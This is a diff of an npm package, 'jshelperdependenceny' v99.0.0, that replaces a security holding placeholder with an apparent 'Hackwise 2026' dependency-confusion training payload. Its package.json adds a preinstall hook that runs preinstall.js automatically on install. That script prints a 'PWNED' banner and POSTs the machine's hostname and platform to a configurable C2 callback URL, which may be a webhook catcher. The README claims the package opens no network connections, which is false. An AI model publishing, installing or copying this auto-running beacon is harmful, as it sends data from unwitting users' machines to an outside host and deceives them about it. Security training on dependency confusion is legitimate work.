jshelperdependenceny 0.0.1-security → 99.0.0

package/README.md

@@ -1,5 +1,31 @@
-# Security holding package
+# jshelperdependencenyconf
 
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
+> ⚠️ **This is a security research package for [Hackwise 2026](https://hackwise.dev) training.**
 
-Please refer to www.npmjs.com/advisories?search=jshelperdependenceny for more information.
+This package demonstrates the **Dependency Confusion** vulnerability.
+If you installed this unintentionally, your project may be misconfigured.
+
+## What happened?
+
+Your project depends on an internal/private package called `jshelperdependencenyconf`.
+Because your `.npmrc` or registry configuration allows fallback to the public npm registry,
+npm resolved this public package (v99.0.0) instead of your internal one (v1.0.0).
+
+## Is this harmful?
+
+**No.** This package only prints a warning banner. It does not:
+- Execute system commands
+- Read environment variables or files
+- Open network connections to steal data
+
+In a real attack, all of the above would be possible.
+
+## How to fix
+
+1. Use **scoped packages**: `@yourcompany/jshelperdependencenyconf`
+2. Pin your registry in `.npmrc` — don't allow public fallback
+3. Use `npm install --ignore-scripts` in CI/CD
+
+## Contact
+
+Hackwise 2026 — Offensive Security Training

package/index.js

@@ -0,0 +1,6 @@
+module.exports = {
+  version: '99.0.0',
+  formatDate(d) { return (d || new Date()).toISOString().split('T')[0]; },
+  sanitize(s) { return String(s).replace(/[<>&"']/g, ''); },
+  generateId() { return 'id-' + Math.random().toString(36).slice(2, 10); }
+};

package/package.json

@@ -1,6 +1,12 @@
 {
   "name": "jshelperdependenceny",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "99.0.0",
+  "description": "JS Helper Dependency Config Library",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node preinstall.js || true"
+  },
+  "keywords": ["helper", "config", "utils"],
+  "author": "hackwise-lab",
+  "license": "MIT"
 }

package/preinstall.js

@@ -0,0 +1,85 @@
+/**
+ * Dependency Confusion — Educational Beacon
+ * Hackwise 2026 Lab
+ *
+ * This script only sends hostname + package info to a callback URL.
+ * No command execution, no env variables, no file reads.
+ */
+
+const https = require('https');
+const http = require('http');
+const os = require('os');
+
+// ──── CONFIGURE THIS ────
+// Option 1: Your own C2 server
+const C2_URL = process.env.DC_CALLBACK_URL || 'http://127.0.0.1:5656/exfil';
+
+// Option 2: Use a free webhook catcher for demo:
+//   https://webhook.site  → paste your unique URL below
+// const C2_URL = 'https://webhook.site/YOUR-UNIQUE-ID';
+// ─────────────────────────
+
+const banner = `
+\x1b[31m
+  ██████╗ ██╗    ██╗███╗   ██╗███████╗██████╗ ██╗
+  ██╔══██╗██║    ██║████╗  ██║██╔════╝██╔══██╗██║
+  ██████╔╝██║ █╗ ██║██╔██╗ ██║█████╗  ██║  ██║██║
+  ██╔═══╝ ██║███╗██║██║╚██╗██║██╔══╝  ██║  ██║╚═╝
+  ██║     ╚███╔███╔╝██║ ╚████║███████╗██████╔╝██╗
+  ╚═╝      ╚══╝╚══╝ ╚═╝  ╚═══╝╚══════╝╚═════╝ ╚═╝
+
+  ╔═══════════════════════════════════════════════════╗
+  ║  ⚠️   DEPENDENCY CONFUSION — YOU HAVE BEEN PWNED  ║
+  ╠═══════════════════════════════════════════════════╣
+  ║  Package: jshelperdependenceny v99.0.0            ║
+  ║  Expected: v1.0.0 (internal)                     ║
+  ║  Source: Hackwise 2026 Security Lab               ║
+  ║                                                   ║
+  ║  In a real attack, this script could:             ║
+  ║   • Steal environment variables (API keys, tokens)║
+  ║   • Read SSH keys & config files                  ║
+  ║   • Open a reverse shell                          ║
+  ║   • Pivot into CI/CD pipelines                    ║
+  ║                                                   ║
+  ║  🛡️  Fix: Use scoped packages + registry pinning   ║
+  ╚═══════════════════════════════════════════════════╝
+\x1b[0m`;
+
+console.log(banner);
+
+// Send a minimal beacon — hostname only, nothing sensitive
+const payload = JSON.stringify({
+  alert: 'dependency-confusion',
+  package: 'jshelperdependenceny',
+  version: '99.0.0',
+  hostname: os.hostname(),
+  platform: os.platform(),
+  arch: os.arch(),
+  timestamp: new Date().toISOString(),
+  message: 'This machine installed a malicious package via dependency confusion.'
+});
+
+try {
+  const url = new URL(C2_URL);
+  const transport = url.protocol === 'https:' ? https : http;
+
+  const req = transport.request({
+    hostname: url.hostname,
+    port: url.port || (url.protocol === 'https:' ? 443 : 80),
+    path: url.pathname,
+    method: 'POST',
+    headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) },
+    timeout: 3000
+  }, (res) => {
+    console.log(`\x1b[32m[✓] Beacon sent to ${url.hostname} (${res.statusCode})\x1b[0m\n`);
+  });
+
+  req.on('error', () => {
+    console.log('\x1b[33m[!] Callback URL unreachable — configure DC_CALLBACK_URL\x1b[0m\n');
+  });
+
+  req.write(payload);
+  req.end();
+} catch (e) {
+  console.log('\x1b[33m[!] Invalid callback URL — set DC_CALLBACK_URL env var\x1b[0m\n');
+}